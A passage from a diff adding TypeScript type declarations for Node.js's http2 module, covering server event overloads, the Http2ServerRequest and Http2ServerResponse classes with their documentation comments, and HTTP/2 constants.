+ emit( + event: "checkContinue", + request: InstanceType, + response: InstanceType, + ): boolean; + emit(event: "request", request: InstanceType, response: InstanceType): boolean; + emit( + event: "session", + session: ServerHttp2Session, + ): boolean; + emit(event: "sessionError", err: Error): boolean; + emit(event: "stream", stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number): boolean; + emit(event: "timeout"): boolean; + emit(event: "unknownProtocol", socket: tls.TLSSocket): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + on( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + on( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + on(event: "sessionError", listener: (err: Error) => void): this; + on( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + on(event: "timeout", listener: () => void): this; + on(event: "unknownProtocol", listener: (socket: tls.TLSSocket) => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + once( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + once( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + once(event: "sessionError", listener: (err: Error) => void): this; + once( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + once(event: "timeout", listener: () => void): this; + once(event: "unknownProtocol", listener: (socket: tls.TLSSocket) => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + prependListener( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + prependListener( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + prependListener(event: "sessionError", listener: (err: Error) => void): this; + prependListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + prependListener(event: "timeout", listener: () => void): this; + prependListener(event: "unknownProtocol", listener: (socket: tls.TLSSocket) => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + prependOnceListener( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + prependOnceListener( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + prependOnceListener(event: "sessionError", listener: (err: Error) => void): this; + prependOnceListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + prependOnceListener(event: "timeout", listener: () => void): this; + prependOnceListener(event: "unknownProtocol", listener: (socket: tls.TLSSocket) => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + /** + * A `Http2ServerRequest` object is created by {@link Server} or {@link SecureServer} and passed as the first argument to the `'request'` event. It may be used to access a request status, + * headers, and + * data. + * @since v8.4.0 + */ + export class Http2ServerRequest extends stream.Readable { + constructor( + stream: ServerHttp2Stream, + headers: IncomingHttpHeaders, + options: stream.ReadableOptions, + rawHeaders: readonly string[], + ); + /** + * The `request.aborted` property will be `true` if the request has + * been aborted. + * @since v10.1.0 + */ + readonly aborted: boolean; + /** + * The request authority pseudo header field. Because HTTP/2 allows requests + * to set either `:authority` or `host`, this value is derived from `req.headers[':authority']` if present. Otherwise, it is derived from `req.headers['host']`. + * @since v8.4.0 + */ + readonly authority: string; + /** + * See `request.socket`. + * @since v8.4.0 + * @deprecated Since v13.0.0 - Use `socket`. + */ + readonly connection: net.Socket | tls.TLSSocket; + /** + * The `request.complete` property will be `true` if the request has + * been completed, aborted, or destroyed. + * @since v12.10.0 + */ + readonly complete: boolean; + /** + * The request/response headers object. + * + * Key-value pairs of header names and values. Header names are lower-cased. + * + * ```js + * // Prints something like: + * // + * // { 'user-agent': 'curl/7.22.0', + * // host: '127.0.0.1:8000', + * // accept: '*' } + * console.log(request.headers); + * ``` + * + * See `HTTP/2 Headers Object`. + * + * In HTTP/2, the request path, host name, protocol, and method are represented as + * special headers prefixed with the `:` character (e.g. `':path'`). These special + * headers will be included in the `request.headers` object. Care must be taken not + * to inadvertently modify these special headers or errors may occur. For instance, + * removing all headers from the request will cause errors to occur: + * + * ```js + * removeAllHeaders(request.headers); + * assert(request.url); // Fails because the :path header has been removed + * ``` + * @since v8.4.0 + */ + readonly headers: IncomingHttpHeaders; + /** + * In case of server request, the HTTP version sent by the client. In the case of + * client response, the HTTP version of the connected-to server. Returns `'2.0'`. + * + * Also `message.httpVersionMajor` is the first integer and `message.httpVersionMinor` is the second. + * @since v8.4.0 + */ + readonly httpVersion: string; + readonly httpVersionMinor: number; + readonly httpVersionMajor: number; + /** + * The request method as a string. Read-only. Examples: `'GET'`, `'DELETE'`. + * @since v8.4.0 + */ + readonly method: string; + /** + * The raw request/response headers list exactly as they were received. + * + * The keys and values are in the same list. It is _not_ a + * list of tuples. So, the even-numbered offsets are key values, and the + * odd-numbered offsets are the associated values. + * + * Header names are not lowercased, and duplicates are not merged. + * + * ```js + * // Prints something like: + * // + * // [ 'user-agent', + * // 'this is invalid because there can be only one', + * // 'User-Agent', + * // 'curl/7.22.0', + * // 'Host', + * // '127.0.0.1:8000', + * // 'ACCEPT', + * // '*' ] + * console.log(request.rawHeaders); + * ``` + * @since v8.4.0 + */ + readonly rawHeaders: string[]; + /** + * The raw request/response trailer keys and values exactly as they were + * received. Only populated at the `'end'` event. + * @since v8.4.0 + */ + readonly rawTrailers: string[]; + /** + * The request scheme pseudo header field indicating the scheme + * portion of the target URL. + * @since v8.4.0 + */ + readonly scheme: string; + /** + * Returns a `Proxy` object that acts as a `net.Socket` (or `tls.TLSSocket`) but + * applies getters, setters, and methods based on HTTP/2 logic. + * + * `destroyed`, `readable`, and `writable` properties will be retrieved from and + * set on `request.stream`. + * + * `destroy`, `emit`, `end`, `on` and `once` methods will be called on `request.stream`. + * + * `setTimeout` method will be called on `request.stream.session`. + * + * `pause`, `read`, `resume`, and `write` will throw an error with code `ERR_HTTP2_NO_SOCKET_MANIPULATION`. See `Http2Session and Sockets` for + * more information. + * + * All other interactions will be routed directly to the socket. With TLS support, + * use `request.socket.getPeerCertificate()` to obtain the client's + * authentication details. + * @since v8.4.0 + */ + readonly socket: net.Socket | tls.TLSSocket; + /** + * The `Http2Stream` object backing the request. + * @since v8.4.0 + */ + readonly stream: ServerHttp2Stream; + /** + * The request/response trailers object. Only populated at the `'end'` event. + * @since v8.4.0 + */ + readonly trailers: IncomingHttpHeaders; + /** + * Request URL string. This contains only the URL that is present in the actual + * HTTP request. If the request is: + * + * ```http + * GET /status?name=ryan HTTP/1.1 + * Accept: text/plain + * ``` + * + * Then `request.url` will be: + * + * ```js + * '/status?name=ryan' + * ``` + * + * To parse the url into its parts, `new URL()` can be used: + * + * ```console + * $ node + * > new URL('/status?name=ryan', 'http://example.com') + * URL { + * href: 'http://example.com/status?name=ryan', + * origin: 'http://example.com', + * protocol: 'http:', + * username: '', + * password: '', + * host: 'example.com', + * hostname: 'example.com', + * port: '', + * pathname: '/status', + * search: '?name=ryan', + * searchParams: URLSearchParams { 'name' => 'ryan' }, + * hash: '' + * } + * ``` + * @since v8.4.0 + */ + url: string; + /** + * Sets the `Http2Stream`'s timeout value to `msecs`. If a callback is + * provided, then it is added as a listener on the `'timeout'` event on + * the response object. + * + * If no `'timeout'` listener is added to the request, the response, or + * the server, then `Http2Stream`s are destroyed when they time out. If a + * handler is assigned to the request, the response, or the server's `'timeout'`events, timed out sockets must be handled explicitly. + * @since v8.4.0 + */ + setTimeout(msecs: number, callback?: () => void): void; + read(size?: number): Buffer | string | null; + addListener(event: "aborted", listener: (hadError: boolean, code: number) => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "data", listener: (chunk: Buffer | string) => void): this; + addListener(event: "end", listener: () => void): this; + addListener(event: "readable", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "aborted", hadError: boolean, code: number): boolean; + emit(event: "close"): boolean; + emit(event: "data", chunk: Buffer | string): boolean; + emit(event: "end"): boolean; + emit(event: "readable"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "aborted", listener: (hadError: boolean, code: number) => void): this; + on(event: "close", listener: () => void): this; + on(event: "data", listener: (chunk: Buffer | string) => void): this; + on(event: "end", listener: () => void): this; + on(event: "readable", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "aborted", listener: (hadError: boolean, code: number) => void): this; + once(event: "close", listener: () => void): this; + once(event: "data", listener: (chunk: Buffer | string) => void): this; + once(event: "end", listener: () => void): this; + once(event: "readable", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "aborted", listener: (hadError: boolean, code: number) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "data", listener: (chunk: Buffer | string) => void): this; + prependListener(event: "end", listener: () => void): this; + prependListener(event: "readable", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "aborted", listener: (hadError: boolean, code: number) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "data", listener: (chunk: Buffer | string) => void): this; + prependOnceListener(event: "end", listener: () => void): this; + prependOnceListener(event: "readable", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + /** + * This object is created internally by an HTTP server, not by the user. It is + * passed as the second parameter to the `'request'` event. + * @since v8.4.0 + */ + export class Http2ServerResponse extends stream.Writable { + constructor(stream: ServerHttp2Stream); + /** + * See `response.socket`. + * @since v8.4.0 + * @deprecated Since v13.0.0 - Use `socket`. + */ + readonly connection: net.Socket | tls.TLSSocket; + /** + * Append a single header value to the header object. + * + * If the value is an array, this is equivalent to calling this method multiple times. + * + * If there were no previous values for the header, this is equivalent to calling {@link setHeader}. + * + * Attempting to set a header field name or value that contains invalid characters will result in a + * [TypeError](https://nodejs.org/docs/latest-v22.x/api/errors.html#class-typeerror) being thrown. + * + * ```js + * // Returns headers including "set-cookie: a" and "set-cookie: b" + * const server = http2.createServer((req, res) => { + * res.setHeader('set-cookie', 'a'); + * res.appendHeader('set-cookie', 'b'); + * res.writeHead(200); + * res.end('ok'); + * }); + * ``` + * @since v20.12.0 + */ + appendHeader(name: string, value: string | string[]): void; + /** + * Boolean value that indicates whether the response has completed. Starts + * as `false`. After `response.end()` executes, the value will be `true`. + * @since v8.4.0 + * @deprecated Since v13.4.0,v12.16.0 - Use `writableEnded`. + */ + readonly finished: boolean; + /** + * True if headers were sent, false otherwise (read-only). + * @since v8.4.0 + */ + readonly headersSent: boolean; + /** + * A reference to the original HTTP2 `request` object. + * @since v15.7.0 + */ + readonly req: Request; + /** + * Returns a `Proxy` object that acts as a `net.Socket` (or `tls.TLSSocket`) but + * applies getters, setters, and methods based on HTTP/2 logic. + * + * `destroyed`, `readable`, and `writable` properties will be retrieved from and + * set on `response.stream`. + * + * `destroy`, `emit`, `end`, `on` and `once` methods will be called on `response.stream`. + * + * `setTimeout` method will be called on `response.stream.session`. + * + * `pause`, `read`, `resume`, and `write` will throw an error with code `ERR_HTTP2_NO_SOCKET_MANIPULATION`. See `Http2Session and Sockets` for + * more information. + * + * All other interactions will be routed directly to the socket. + * + * ```js + * import http2 from 'node:http2'; + * const server = http2.createServer((req, res) => { + * const ip = req.socket.remoteAddress; + * const port = req.socket.remotePort; + * res.end(`Your IP address is ${ip} and your source port is ${port}.`); + * }).listen(3000); + * ``` + * @since v8.4.0 + */ + readonly socket: net.Socket | tls.TLSSocket; + /** + * The `Http2Stream` object backing the response. + * @since v8.4.0 + */ + readonly stream: ServerHttp2Stream; + /** + * When true, the Date header will be automatically generated and sent in + * the response if it is not already present in the headers. Defaults to true. + * + * This should only be disabled for testing; HTTP requires the Date header + * in responses. + * @since v8.4.0 + */ + sendDate: boolean; + /** + * When using implicit headers (not calling `response.writeHead()` explicitly), + * this property controls the status code that will be sent to the client when + * the headers get flushed. + * + * ```js + * response.statusCode = 404; + * ``` + * + * After response header was sent to the client, this property indicates the + * status code which was sent out. + * @since v8.4.0 + */ + statusCode: number; + /** + * Status message is not supported by HTTP/2 (RFC 7540 8.1.2.4). It returns + * an empty string. + * @since v8.4.0 + */ + statusMessage: ""; + /** + * This method adds HTTP trailing headers (a header but at the end of the + * message) to the response. + * + * Attempting to set a header field name or value that contains invalid characters + * will result in a `TypeError` being thrown. + * @since v8.4.0 + */ + addTrailers(trailers: OutgoingHttpHeaders): void; + /** + * This method signals to the server that all of the response headers and body + * have been sent; that server should consider this message complete. + * The method, `response.end()`, MUST be called on each response. + * + * If `data` is specified, it is equivalent to calling `response.write(data, encoding)` followed by `response.end(callback)`. + * + * If `callback` is specified, it will be called when the response stream + * is finished. + * @since v8.4.0 + */ + end(callback?: () => void): this; + end(data: string | Uint8Array, callback?: () => void): this; + end(data: string | Uint8Array, encoding: BufferEncoding, callback?: () => void): this; + /** + * Reads out a header that has already been queued but not sent to the client. + * The name is case-insensitive. + * + * ```js + * const contentType = response.getHeader('content-type'); + * ``` + * @since v8.4.0 + */ + getHeader(name: string): string; + /** + * Returns an array containing the unique names of the current outgoing headers. + * All header names are lowercase. + * + * ```js + * response.setHeader('Foo', 'bar'); + * response.setHeader('Set-Cookie', ['foo=bar', 'bar=baz']); + * + * const headerNames = response.getHeaderNames(); + * // headerNames === ['foo', 'set-cookie'] + * ``` + * @since v8.4.0 + */ + getHeaderNames(): string[]; + /** + * Returns a shallow copy of the current outgoing headers. Since a shallow copy + * is used, array values may be mutated without additional calls to various + * header-related http module methods. The keys of the returned object are the + * header names and the values are the respective header values. All header names + * are lowercase. + * + * The object returned by the `response.getHeaders()` method _does not_ prototypically inherit from the JavaScript `Object`. This means that typical `Object` methods such as `obj.toString()`, + * `obj.hasOwnProperty()`, and others + * are not defined and _will not work_. + * + * ```js + * response.setHeader('Foo', 'bar'); + * response.setHeader('Set-Cookie', ['foo=bar', 'bar=baz']); + * + * const headers = response.getHeaders(); + * // headers === { foo: 'bar', 'set-cookie': ['foo=bar', 'bar=baz'] } + * ``` + * @since v8.4.0 + */ + getHeaders(): OutgoingHttpHeaders; + /** + * Returns `true` if the header identified by `name` is currently set in the + * outgoing headers. The header name matching is case-insensitive. + * + * ```js + * const hasContentType = response.hasHeader('content-type'); + * ``` + * @since v8.4.0 + */ + hasHeader(name: string): boolean; + /** + * Removes a header that has been queued for implicit sending. + * + * ```js + * response.removeHeader('Content-Encoding'); + * ``` + * @since v8.4.0 + */ + removeHeader(name: string): void; + /** + * Sets a single header value for implicit headers. If this header already exists + * in the to-be-sent headers, its value will be replaced. Use an array of strings + * here to send multiple headers with the same name. + * + * ```js + * response.setHeader('Content-Type', 'text/html; charset=utf-8'); + * ``` + * + * or + * + * ```js + * response.setHeader('Set-Cookie', ['type=ninja', 'language=javascript']); + * ``` + * + * Attempting to set a header field name or value that contains invalid characters + * will result in a `TypeError` being thrown. + * + * When headers have been set with `response.setHeader()`, they will be merged + * with any headers passed to `response.writeHead()`, with the headers passed + * to `response.writeHead()` given precedence. + * + * ```js + * // Returns content-type = text/plain + * const server = http2.createServer((req, res) => { + * res.setHeader('Content-Type', 'text/html; charset=utf-8'); + * res.setHeader('X-Foo', 'bar'); + * res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }); + * res.end('ok'); + * }); + * ``` + * @since v8.4.0 + */ + setHeader(name: string, value: number | string | readonly string[]): void; + /** + * Sets the `Http2Stream`'s timeout value to `msecs`. If a callback is + * provided, then it is added as a listener on the `'timeout'` event on + * the response object. + * + * If no `'timeout'` listener is added to the request, the response, or + * the server, then `Http2Stream` s are destroyed when they time out. If a + * handler is assigned to the request, the response, or the server's `'timeout'` events, timed out sockets must be handled explicitly. + * @since v8.4.0 + */ + setTimeout(msecs: number, callback?: () => void): void; + /** + * If this method is called and `response.writeHead()` has not been called, + * it will switch to implicit header mode and flush the implicit headers. + * + * This sends a chunk of the response body. This method may + * be called multiple times to provide successive parts of the body. + * + * In the `node:http` module, the response body is omitted when the + * request is a HEAD request. Similarly, the `204` and `304` responses _must not_ include a message body. + * + * `chunk` can be a string or a buffer. If `chunk` is a string, + * the second parameter specifies how to encode it into a byte stream. + * By default the `encoding` is `'utf8'`. `callback` will be called when this chunk + * of data is flushed. + * + * This is the raw HTTP body and has nothing to do with higher-level multi-part + * body encodings that may be used. + * + * The first time `response.write()` is called, it will send the buffered + * header information and the first chunk of the body to the client. The second + * time `response.write()` is called, Node.js assumes data will be streamed, + * and sends the new data separately. That is, the response is buffered up to the + * first chunk of the body. + * + * Returns `true` if the entire data was flushed successfully to the kernel + * buffer. Returns `false` if all or part of the data was queued in user memory.`'drain'` will be emitted when the buffer is free again. + * @since v8.4.0 + */ + write(chunk: string | Uint8Array, callback?: (err: Error) => void): boolean; + write(chunk: string | Uint8Array, encoding: BufferEncoding, callback?: (err: Error) => void): boolean; + /** + * Sends a status `100 Continue` to the client, indicating that the request body + * should be sent. See the `'checkContinue'` event on `Http2Server` and `Http2SecureServer`. + * @since v8.4.0 + */ + writeContinue(): void; + /** + * Sends a status `103 Early Hints` to the client with a Link header, + * indicating that the user agent can preload/preconnect the linked resources. + * The `hints` is an object containing the values of headers to be sent with + * early hints message. + * + * **Example** + * + * ```js + * const earlyHintsLink = '; rel=preload; as=style'; + * response.writeEarlyHints({ + * 'link': earlyHintsLink, + * }); + * + * const earlyHintsLinks = [ + * '; rel=preload; as=style', + * '; rel=preload; as=script', + * ]; + * response.writeEarlyHints({ + * 'link': earlyHintsLinks, + * }); + * ``` + * @since v18.11.0 + */ + writeEarlyHints(hints: Record): void; + /** + * Sends a response header to the request. The status code is a 3-digit HTTP + * status code, like `404`. The last argument, `headers`, are the response headers. + * + * Returns a reference to the `Http2ServerResponse`, so that calls can be chained. + * + * For compatibility with `HTTP/1`, a human-readable `statusMessage` may be + * passed as the second argument. However, because the `statusMessage` has no + * meaning within HTTP/2, the argument will have no effect and a process warning + * will be emitted. + * + * ```js + * const body = 'hello world'; + * response.writeHead(200, { + * 'Content-Length': Buffer.byteLength(body), + * 'Content-Type': 'text/plain; charset=utf-8', + * }); + * ``` + * + * `Content-Length` is given in bytes not characters. The`Buffer.byteLength()` API may be used to determine the number of bytes in a + * given encoding. On outbound messages, Node.js does not check if Content-Length + * and the length of the body being transmitted are equal or not. However, when + * receiving messages, Node.js will automatically reject messages when the `Content-Length` does not match the actual payload size. + * + * This method may be called at most one time on a message before `response.end()` is called. + * + * If `response.write()` or `response.end()` are called before calling + * this, the implicit/mutable headers will be calculated and call this function. + * + * When headers have been set with `response.setHeader()`, they will be merged + * with any headers passed to `response.writeHead()`, with the headers passed + * to `response.writeHead()` given precedence. + * + * ```js + * // Returns content-type = text/plain + * const server = http2.createServer((req, res) => { + * res.setHeader('Content-Type', 'text/html; charset=utf-8'); + * res.setHeader('X-Foo', 'bar'); + * res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }); + * res.end('ok'); + * }); + * ``` + * + * Attempting to set a header field name or value that contains invalid characters + * will result in a `TypeError` being thrown. + * @since v8.4.0 + */ + writeHead(statusCode: number, headers?: OutgoingHttpHeaders): this; + writeHead(statusCode: number, statusMessage: string, headers?: OutgoingHttpHeaders): this; + /** + * Call `http2stream.pushStream()` with the given headers, and wrap the + * given `Http2Stream` on a newly created `Http2ServerResponse` as the callback + * parameter if successful. When `Http2ServerRequest` is closed, the callback is + * called with an error `ERR_HTTP2_INVALID_STREAM`. + * @since v8.4.0 + * @param headers An object describing the headers + * @param callback Called once `http2stream.pushStream()` is finished, or either when the attempt to create the pushed `Http2Stream` has failed or has been rejected, or the state of + * `Http2ServerRequest` is closed prior to calling the `http2stream.pushStream()` method + */ + createPushResponse( + headers: OutgoingHttpHeaders, + callback: (err: Error | null, res: Http2ServerResponse) => void, + ): void; + addListener(event: "close", listener: () => void): this; + addListener(event: "drain", listener: () => void): this; + addListener(event: "error", listener: (error: Error) => void): this; + addListener(event: "finish", listener: () => void): this; + addListener(event: "pipe", listener: (src: stream.Readable) => void): this; + addListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "close"): boolean; + emit(event: "drain"): boolean; + emit(event: "error", error: Error): boolean; + emit(event: "finish"): boolean; + emit(event: "pipe", src: stream.Readable): boolean; + emit(event: "unpipe", src: stream.Readable): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "close", listener: () => void): this; + on(event: "drain", listener: () => void): this; + on(event: "error", listener: (error: Error) => void): this; + on(event: "finish", listener: () => void): this; + on(event: "pipe", listener: (src: stream.Readable) => void): this; + on(event: "unpipe", listener: (src: stream.Readable) => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "drain", listener: () => void): this; + once(event: "error", listener: (error: Error) => void): this; + once(event: "finish", listener: () => void): this; + once(event: "pipe", listener: (src: stream.Readable) => void): this; + once(event: "unpipe", listener: (src: stream.Readable) => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "drain", listener: () => void): this; + prependListener(event: "error", listener: (error: Error) => void): this; + prependListener(event: "finish", listener: () => void): this; + prependListener(event: "pipe", listener: (src: stream.Readable) => void): this; + prependListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "drain", listener: () => void): this; + prependOnceListener(event: "error", listener: (error: Error) => void): this; + prependOnceListener(event: "finish", listener: () => void): this; + prependOnceListener(event: "pipe", listener: (src: stream.Readable) => void): this; + prependOnceListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + export namespace constants { + const NGHTTP2_SESSION_SERVER: number; + const NGHTTP2_SESSION_CLIENT: number; + const NGHTTP2_STREAM_STATE_IDLE: number; + const NGHTTP2_STREAM_STATE_OPEN: number; + const NGHTTP2_STREAM_STATE_RESERVED_LOCAL: number; + const NGHTTP2_STREAM_STATE_RESERVED_REMOTE: number; + const NGHTTP2_STREAM_STATE_HALF_CLOSED_LOCAL: number; + const NGHTTP2_STREAM_STATE_HALF_CLOSED_REMOTE: number; + const NGHTTP2_STREAM_STATE_CLOSED: number; + const NGHTTP2_NO_ERROR: number; + const NGHTTP2_PROTOCOL_ERROR: number; + const NGHTTP2_INTERNAL_ERROR: number; + const NGHTTP2_FLOW_CONTROL_ERROR: number; + const NGHTTP2_SETTINGS_TIMEOUT: number; + const NGHTTP2_STREAM_CLOSED: number; + const NGHTTP2_FRAME_SIZE_ERROR: number; + const NGHTTP2_REFUSED_STREAM: number; + const NGHTTP2_CANCEL: number; + const NGHTTP2_COMPRESSION_ERROR: number; + const NGHTTP2_CONNECT_ERROR: number; + const NGHTTP2_ENHANCE_YOUR_CALM: number; + const NGHTTP2_INADEQUATE_SECURITY: number; + const NGHTTP2_HTTP_1_1_REQUIRED: number; + const NGHTTP2_ERR_FRAME_SIZE_ERROR: number; + const NGHTTP2_FLAG_NONE: number; + const NGHTTP2_FLAG_END_STREAM: number; + const NGHTTP2_FLAG_END_HEADERS: number; + const NGHTTP2_FLAG_ACK: number; + const NGHTTP2_FLAG_PADDED: number; + const NGHTTP2_FLAG_PRIORITY: number; + const DEFAULT_SETTINGS_HEADER_TABLE_SIZE: number; + const DEFAULT_SETTINGS_ENABLE_PUSH: number; + const DEFAULT_SETTINGS_INITIAL_WINDOW_SIZE: number; + const DEFAULT_SETTINGS_MAX_FRAME_SIZE: number; + const MAX_MAX_FRAME_SIZE: number; + const MIN_MAX_FRAME_SIZE: number; + const MAX_INITIAL_WINDOW_SIZE: number; + const NGHTTP2_DEFAULT_WEIGHT: number; + const NGHTTP2_SETTINGS_HEADER_TABLE_SIZE: number; + const NGHTTP2_SETTINGS_ENABLE_PUSH: number; + const NGHTTP2_SETTINGS_MAX_CONCURRENT_STREAMS: number; + const NGHTTP2_SETTINGS_INITIAL_WINDOW_SIZE: number; + const NGHTTP2_SETTINGS_MAX_FRAME_SIZE: number; + const NGHTTP2_SETTINGS_MAX_HEADER_LIST_SIZE: number; + const PADDING_STRATEGY_NONE: number; + const PADDING_STRATEGY_MAX: number; + const PADDING_STRATEGY_CALLBACK: number; + const HTTP2_HEADER_STATUS: string; + const HTTP2_HEADER_METHOD: string; + const HTTP2_HEADER_AUTHORITY: string; + const HTTP2_HEADER_SCHEME: string; + const HTTP2_HEADER_PATH: string; + const HTTP2_HEADER_ACCEPT_CHARSET: string; + const HTTP2_HEADER_ACCEPT_ENCODING: string; + const HTTP2_HEADER_ACCEPT_LANGUAGE: string; + const HTTP2_HEADER_ACCEPT_RANGES: string; + const HTTP2_HEADER_ACCEPT: string; + const HTTP2_HEADER_ACCESS_CONTROL_ALLOW_CREDENTIALS: string; + const HTTP2_HEADER_ACCESS_CONTROL_ALLOW_HEADERS: string; + const HTTP2_HEADER_ACCESS_CONTROL_ALLOW_METHODS: string; + const HTTP2_HEADER_ACCESS_CONTROL_ALLOW_ORIGIN: string; + const HTTP2_HEADER_ACCESS_CONTROL_EXPOSE_HEADERS: string; + const HTTP2_HEADER_ACCESS_CONTROL_REQUEST_HEADERS: string; + const HTTP2_HEADER_ACCESS_CONTROL_REQUEST_METHOD: string; + const HTTP2_HEADER_AGE: string; + const HTTP2_HEADER_ALLOW: string; + const HTTP2_HEADER_AUTHORIZATION: string; + const HTTP2_HEADER_CACHE_CONTROL: string; + const HTTP2_HEADER_CONNECTION: string; + const HTTP2_HEADER_CONTENT_DISPOSITION: string; + const HTTP2_HEADER_CONTENT_ENCODING: string; + const HTTP2_HEADER_CONTENT_LANGUAGE: string; + const HTTP2_HEADER_CONTENT_LENGTH: string; + const HTTP2_HEADER_CONTENT_LOCATION: string; + const HTTP2_HEADER_CONTENT_MD5: string; + const HTTP2_HEADER_CONTENT_RANGE: string; + const HTTP2_HEADER_CONTENT_TYPE: string; + const HTTP2_HEADER_COOKIE: string; + const HTTP2_HEADER_DATE: string; + const HTTP2_HEADER_ETAG: string; + const HTTP2_HEADER_EXPECT: string; + const HTTP2_HEADER_EXPIRES: string; + const HTTP2_HEADER_FROM: string; + const HTTP2_HEADER_HOST: string; + const HTTP2_HEADER_IF_MATCH: string; + const HTTP2_HEADER_IF_MODIFIED_SINCE: string; + const HTTP2_HEADER_IF_NONE_MATCH: string; + const HTTP2_HEADER_IF_RANGE: string; + const HTTP2_HEADER_IF_UNMODIFIED_SINCE: string; + const HTTP2_HEADER_LAST_MODIFIED: string; + const HTTP2_HEADER_LINK: string; + const HTTP2_HEADER_LOCATION: string; + const HTTP2_HEADER_MAX_FORWARDS: string; + const HTTP2_HEADER_PREFER: string; + const HTTP2_HEADER_PROXY_AUTHENTICATE: string; + const HTTP2_HEADER_PROXY_AUTHORIZATION: string; + const HTTP2_HEADER_RANGE: string; + const HTTP2_HEADER_REFERER: string; + const HTTP2_HEADER_REFRESH: string; + const HTTP2_HEADER_RETRY_AFTER: string; + const HTTP2_HEADER_SERVER: string; + const HTTP2_HEADER_SET_COOKIE: string; + const HTTP2_HEADER_STRICT_TRANSPORT_SECURITY: string; + const HTTP2_HEADER_TRANSFER_ENCODING: string; + const HTTP2_HEADER_TE: string; + const HTTP2_HEADER_UPGRADE: string; + const HTTP2_HEADER_USER_AGENT: string; + const HTTP2_HEADER_VARY: string; + const HTTP2_HEADER_VIA: string; + const HTTP2_HEADER_WWW_AUTHENTICATE: string; + const HTTP2_HEADER_HTTP2_SETTINGS: string; + const HTTP2_HEADER_KEEP_ALIVE: string; + const HTTP2_HEADER_PROXY_CONNECTION: string; + const HTTP2_METHOD_ACL: string; + const HTTP2_METHOD_BASELINE_CONTROL: string; + const HTTP2_METHOD_BIND: string; + const HTTP2_METHOD_CHECKIN: string; + const HTTP2_METHOD_CHECKOUT: string; + const HTTP2_METHOD_CONNECT: string; + const HTTP2_METHOD_COPY: string; + const HTTP2_METHOD_DELETE: string; + const HTTP2_METHOD_GET: string; + const HTTP2_METHOD_HEAD: string; + const HTTP2_METHOD_LABEL: string; + const HTTP2_METHOD_LINK: string; + const HTTP2_METHOD_LOCK: string; + const HTTP2_METHOD_MERGE: string; + const HTTP2_METHOD_MKACTIVITY: string; + const HTTP2_METHOD_MKCALENDAR: string; + const HTTP2_METHOD_MKCOL: string; + const HTTP2_METHOD_MKREDIRECTREF: string; + const HTTP2_METHOD_MKWORKSPACE: string; + const HTTP2_METHOD_MOVE: string; + const HTTP2_METHOD_OPTIONS: string; + const HTTP2_METHOD_ORDERPATCH: string; + const HTTP2_METHOD_PATCH: string; + const HTTP2_METHOD_POST: string; + const HTTP2_METHOD_PRI: string; + const HTTP2_METHOD_PROPFIND: string; + const HTTP2_METHOD_PROPPATCH: string; + const HTTP2_METHOD_PUT: string; + const HTTP2_METHOD_REBIND: string; + const HTTP2_METHOD_REPORT: string; + const HTTP2_METHOD_SEARCH: string; + const HTTP2_METHOD_TRACE: string; + const HTTP2_METHOD_UNBIND: string; + const HTTP2_METHOD_UNCHECKOUT: string; + const HTTP2_METHOD_UNLINK: string; + const HTTP2_METHOD_UNLOCK: string; + const HTTP2_METHOD_UPDATE: string; + const HTTP2_METHOD_UPDATEREDIRECTREF: string; + const 